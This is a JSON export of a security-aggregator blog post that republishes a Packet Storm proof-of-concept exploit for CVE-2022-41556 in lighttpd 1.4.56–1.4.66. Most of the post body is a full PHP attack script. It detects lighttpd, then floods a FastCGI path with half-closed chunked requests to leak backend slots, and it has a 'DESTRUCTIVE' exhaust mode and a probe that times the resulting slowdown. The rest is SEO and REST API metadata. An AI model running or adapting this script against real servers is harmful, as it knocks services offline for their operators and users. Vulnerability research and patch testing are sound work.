{"id":37578,"date":"2026-01-27T11:51:07","date_gmt":"2026-01-27T11:51:07","guid":{"rendered":"http:\/\/localhost\/?p=37578"},"modified":"2026-01-27T11:51:07","modified_gmt":"2026-01-27T11:51:07","slug":"lighttpd-1466-fastcgi-resource-exhaustion","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=37578","title":{"rendered":"\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:14:09&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a resource exhaustion vulnerability that exists in lighttpd versions 1.4.56 through 1.4.66 affecting FastCGI and other gateway backends. When processing HTTP\/1.1 requests using chunked transfer encoding with request-body&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214430&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2022-41556&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Lighttpd 1.4.66 FastCGI Backend Resource Leak via Chunked Request Handling                                                  |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.lighttpd.net\/                                                                                                   |\\n    =============================================================================================================================================\\n    \\n    [+] References:  https:\/\/packetstorm.news\/files\/id\/214292\/ \\u0026 CVE-2022-41556\\n    \\n    [+] Summary: A resource exhaustion vulnerability exists in lighttpd versions 1.4.56 through 1.4.66 affecting FastCGI and other gateway backends. \\n                 When processing HTTP\/1.1 requests using chunked transfer encoding with request-body streaming enabled, \\n    \\t\\t\\t an anomalous client disconnect (half\u2011closed TCP connection) before the terminating chunk can cause backend slots to be leaked. \\n                 Repeated occurrences may exhaust available backend resources, leading to service degradation or denial of service. The issue is resolved in lighttpd 1.4.67 and later.\\n    \\n    [+] POC : php poc.php \\n    \\n    \\u003c?php\\n    \\n    class FastCGILeakTester {\\n        private $host;\\n        private $port;\\n        private $fcgiPath;\\n        private $connections;\\n        private $delay;\\n        private $detectOnly;\\n        private $running = true;\\n        private $sockets = [];\\n        \\n        public function __construct($host, $port, $fcgiPath, $connections, $delay, $detectOnly) {\\n            $this-\\u003ehost = $host;\\n            $this-\\u003eport = $port;\\n            $this-\\u003efcgiPath = $fcgiPath;\\n            $this-\\u003econnections = $connections;\\n            $this-\\u003edelay = $delay;\\n            $this-\\u003edetectOnly = $detectOnly;\\n        }\\n        \\n        private function makeSocket() {\\n            $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\\n            if ($socket === false) {\\n                throw new Exception(\\&#8221;Cannot create socket: \\&#8221; . socket_strerror(socket_last_error()));\\n            }\\n            \\n            socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array(&#8216;sec&#8217; =\\u003e 5, &#8216;usec&#8217; =\\u003e 0));\\n            socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array(&#8216;sec&#8217; =\\u003e 5, &#8216;usec&#8217; =\\u003e 0));\\n            \\n            if (!socket_connect($socket, $this-\\u003ehost, $this-\\u003eport)) {\\n                throw new Exception(\\&#8221;Cannot connect to {$this-\\u003ehost}:{$this-\\u003eport}: \\&#8221; . socket_strerror(socket_last_error($socket)));\\n            }\\n            \\n            return $socket;\\n        }\\n        \\n        private function chunkyFunk($connectionId) {\\n            try {\\n                $socket = $this-\\u003emakeSocket();\\n                \\n                $request = \\&#8221;POST {$this-\\u003efcgiPath} HTTP\/1.1\\\\r\\\\n\\&#8221; .\\n                          \\&#8221;Host: {$this-\\u003ehost}\\\\r\\\\n\\&#8221; .\\n                          \\&#8221;Transfer-Encoding: chunked\\\\r\\\\n\\&#8221; .\\n                          \\&#8221;Connection: keep-alive\\\\r\\\\n\\&#8221; .\\n                          \\&#8221;\\\\r\\\\n\\&#8221;;\\n                \\n                socket_write($socket, $request);\\n                socket_write($socket, \\&#8221;4\\\\r\\\\ntest\\\\r\\\\n\\&#8221;);\\n    \\n                socket_shutdown($socket, 1); \/\/ 1 = shutdown write\\n                \\n                $this-\\u003esockets[] = $socket;\\n                echo \\&#8221;[+] [{$connectionId}] anomalous FastCGI request sent\\\\n\\&#8221;;\\n            } catch (Exception $e) {\\n                echo \\&#8221;[-] [{$connectionId}] failed: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n        public function run() {\\n            echo \\&#8221;[*] Target: http:\/\/{$this-\\u003ehost}:{$this-\\u003eport}{$this-\\u003efcgiPath}\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Mode: \\&#8221; . ($this-\\u003edetectOnly ? &#8216;DETECT&#8217; : &#8216;EXHAUST&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            \\n            for ($i = 0; $i \\u003c $this-\\u003econnections; $i++) {\\n                if (!$this-\\u003erunning) {\\n                    break;\\n                }\\n                \\n                $this-\\u003echunkyFunk($i);\\n                \\n                if ($this-\\u003edelay \\u003e 0) {\\n                    usleep($this-\\u003edelay * 1000000);\\n                }\\n            }\\n            \\n            echo \\&#8221;[*] Injection phase complete\\\\n\\&#8221;;\\n        }\\n        \\n        public function frontendProbe() {\\n            echo \\&#8221;[*] Starting frontend probe\\\\n\\&#8221;;\\n            \\n            while ($this-\\u003erunning) {\\n                try {\\n                    $start = microtime(true);\\n                    \\n                    $socket = $this-\\u003emakeSocket();\\n                    socket_write($socket, \\&#8221;GET \/ HTTP\/1.0\\\\r\\\\n\\\\r\\\\n\\&#8221;);\\n                    \\n                    $response = &#8221;;\\n                    socket_recv($socket, $response, 64, 0);\\n                    \\n                    $elapsed = microtime(true) &#8211; $start;\\n                    socket_close($socket);\\n                    \\n                    echo \\&#8221;[PROBE] frontend response time: \\&#8221; . number_format($elapsed, 3) . \\&#8221;s\\\\n\\&#8221;;\\n                } catch (Exception $e) {\\n                    echo \\&#8221;[PROBE] frontend failure: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n                }\\n                \\n                sleep(3);\\n            }\\n        }\\n        \\n        public function cleanup() {\\n            $this-\\u003erunning = false;\\n            foreach ($this-\\u003esockets as $socket) {\\n                try {\\n                    socket_close($socket);\\n                } catch (Exception $e) {\\n    \\n                }\\n            }\\n            echo \\&#8221;[*] Cleanup complete\\\\n\\&#8221;;\\n        }\\n    }\\n    \\n    function checkLighty($host, $port) {\\n        try {\\n            $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\\n            if ($socket === false) {\\n                throw new Exception(\\&#8221;Socket creation failed\\&#8221;);\\n            }\\n            \\n            socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array(&#8216;sec&#8217; =\\u003e 3, &#8216;usec&#8217; =\\u003e 0));\\n            \\n            if (!socket_connect($socket, $host, $port)) {\\n                throw new Exception(\\&#8221;Connection failed\\&#8221;);\\n            }\\n            \\n            socket_write($socket, \\&#8221;HEAD \/ HTTP\/1.0\\\\r\\\\n\\\\r\\\\n\\&#8221;);\\n            \\n            $response = &#8221;;\\n            while ($chunk = socket_read($socket, 512)) {\\n                $response .= $chunk;\\n            }\\n            \\n            socket_close($socket);\\n            \\n            $lines = explode(\\&#8221;\\\\n\\&#8221;, $response);\\n            foreach ($lines as $line) {\\n                if (stripos($line, &#8216;Server:&#8217;) !== false \\u0026\\u0026 stripos($line, &#8216;lighttpd&#8217;) !== false) {\\n                    echo \\&#8221;[+] Detected \\&#8221; . trim($line) . \\&#8221;\\\\n\\&#8221;;\\n                    return true;\\n                }\\n            }\\n            \\n            echo \\&#8221;[-] lighttpd not detected\\\\n\\&#8221;;\\n            return false;\\n        } catch (Exception $e) {\\n            echo \\&#8221;[-] connection failed: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n            return false;\\n        }\\n    }\\n    \\n    function main() {\\n        global $banner;\\n        \\n        $options = getopt(\\&#8221;\\&#8221;, [\\n            \\&#8221;host:\\&#8221;,\\n            \\&#8221;port:\\&#8221;,\\n            \\&#8221;fcgi-path:\\&#8221;,\\n            \\&#8221;n:\\&#8221;,\\n            \\&#8221;conns:\\&#8221;,\\n            \\&#8221;delay:\\&#8221;,\\n            \\&#8221;exhaust\\&#8221;\\n        ]);\\n    \\n        $host = isset($options[&#8216;host&#8217;]) ? $options[&#8216;host&#8217;] : null;\\n        if (!$host \\u0026\\u0026 isset($argv[1]) \\u0026\\u0026 !strpos($argv[1], &#8216;&#8211;&#8216;)) {\\n            $host = $argv[1];\\n        }\\n        \\n        if (!$host) {\\n            echo \\&#8221;Usage: php \\&#8221; . basename(__FILE__) . \\&#8221; [options] \\u003chost\\u003e\\\\n\\&#8221;;\\n            echo \\&#8221;Options:\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;host \\u003chost\\u003e           Target host\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;port \\u003cport\\u003e           Target port (default: 80)\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;fcgi-path \\u003cpath\\u003e      FastCGI-backed path (default: \/index.php)\\\\n\\&#8221;;\\n            echo \\&#8221;  -n, &#8211;conns \\u003cnum\\u003e       Number of connections (default: 5)\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;delay \\u003cseconds\\u003e       Delay between connections (default: 0.2)\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;exhaust               Exhaust backend slots (DESTRUCTIVE)\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $port = isset($options[&#8216;port&#8217;]) ? (int)$options[&#8216;port&#8217;] : 80;\\n        $fcgiPath = isset($options[&#8216;fcgi-path&#8217;]) ? $options[&#8216;fcgi-path&#8217;] : &#8216;\/index.php&#8217;;\\n        $connections = isset($options[&#8216;n&#8217;]) ? (int)$options[&#8216;n&#8217;] : \\n                      (isset($options[&#8216;conns&#8217;]) ? (int)$options[&#8216;conns&#8217;] : 5);\\n        $delay = isset($options[&#8216;delay&#8217;]) ? (float)$options[&#8216;delay&#8217;] : 0.2;\\n        $exhaust = isset($options[&#8216;exhaust&#8217;]);\\n        \\n        echo $banner . \\&#8221;\\\\n\\&#8221;;\\n        \\n        if (!checkLighty($host, $port)) {\\n            exit(1);\\n        }\\n        \\n        $tester = new FastCGILeakTester(\\n            $host,\\n            $port,\\n            $fcgiPath,\\n            $connections,\\n            $delay,\\n            !$exhaust\\n        );\\n    \\n        declare(ticks = 1);\\n        pcntl_signal(SIGINT, function() use (\\u0026$tester) {\\n            echo \\&#8221;\\\\n[*] Interrupted by user\\\\n\\&#8221;;\\n            $tester-\\u003ecleanup();\\n            exit(0);\\n        });\\n        \\n        try {\\n            $tester-\\u003erun();\\n    \\n            echo \\&#8221;[*] Starting frontend probe\\\\n\\&#8221;;\\n    \\n            $probeCount = 0;\\n            while ($probeCount \\u003c 10) { \\n                try {\\n                    $start = microtime(true);\\n                    \\n                    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\\n                    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array(&#8216;sec&#8217; =\\u003e 5, &#8216;usec&#8217; =\\u003e 0));\\n                    \\n                    if (socket_connect($socket, $host, $port)) {\\n                        socket_write($socket, \\&#8221;GET \/ HTTP\/1.0\\\\r\\\\n\\\\r\\\\n\\&#8221;);\\n                        \\n                        $response = &#8221;;\\n                        socket_recv($socket, $response, 64, 0);\\n                        \\n                        $elapsed = microtime(true) &#8211; $start;\\n                        echo \\&#8221;[PROBE] frontend response time: \\&#8221; . number_format($elapsed, 3) . \\&#8221;s\\\\n\\&#8221;;\\n                        socket_close($socket);\\n                    }\\n                } catch (Exception $e) {\\n                    echo \\&#8221;[PROBE] frontend failure: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n                }\\n                \\n                sleep(3);\\n                $probeCount++;\\n            }\\n            \\n        } catch (Exception $e) {\\n            echo \\&#8221;[-] Error during test: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n        } finally {\\n            $tester-\\u003ecleanup();\\n        }\\n        \\n        echo \\&#8221;[*] Test complete\\\\n\\&#8221;;\\n    }\\n    \\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        main();\\n    } else {\\n        echo \\&#8221;This script must be run from the command line.\\\\n\\&#8221;;\\n        exit(1);\\n    }\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214430&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214430\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:14:09&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a resource exhaustion vulnerability that exists in lighttpd versions 1.4.56 through 1.4.66 affecting FastCGI and other gateway backends. When processing&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-37578","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=37578\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:14:09&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a resource exhaustion vulnerability that exists in lighttpd versions 1.4.56 through 1.4.66 affecting FastCGI and other gateway backends. When processing...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=37578\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-27T11:51:07+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37578#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37578\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430\",\"datePublished\":\"2026-01-27T11:51:07+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37578\"},\"wordCount\":1347,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37578#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37578\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37578\",\"name\":\"\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-27T11:51:07+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37578#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37578\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37578#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=37578","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:14:09&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a resource exhaustion vulnerability that exists in lighttpd versions 1.4.56 through 1.4.66 affecting FastCGI and other gateway backends. When processing...","og_url":"https:\/\/zero.redgem.net\/?p=37578","og_site_name":"zero redgem","article_published_time":"2026-01-27T11:51:07+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=37578#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=37578"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430","datePublished":"2026-01-27T11:51:07+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=37578"},"wordCount":1347,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=37578#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=37578","url":"https:\/\/zero.redgem.net\/?p=37578","name":"\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-27T11:51:07+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=37578#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=37578"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=37578#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Lighttpd 1.4.66 FastCGI Resource Exhaustion_PACKETSTORM:214430"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37578","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=37578"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37578\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=37578"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=37578"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=37578"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}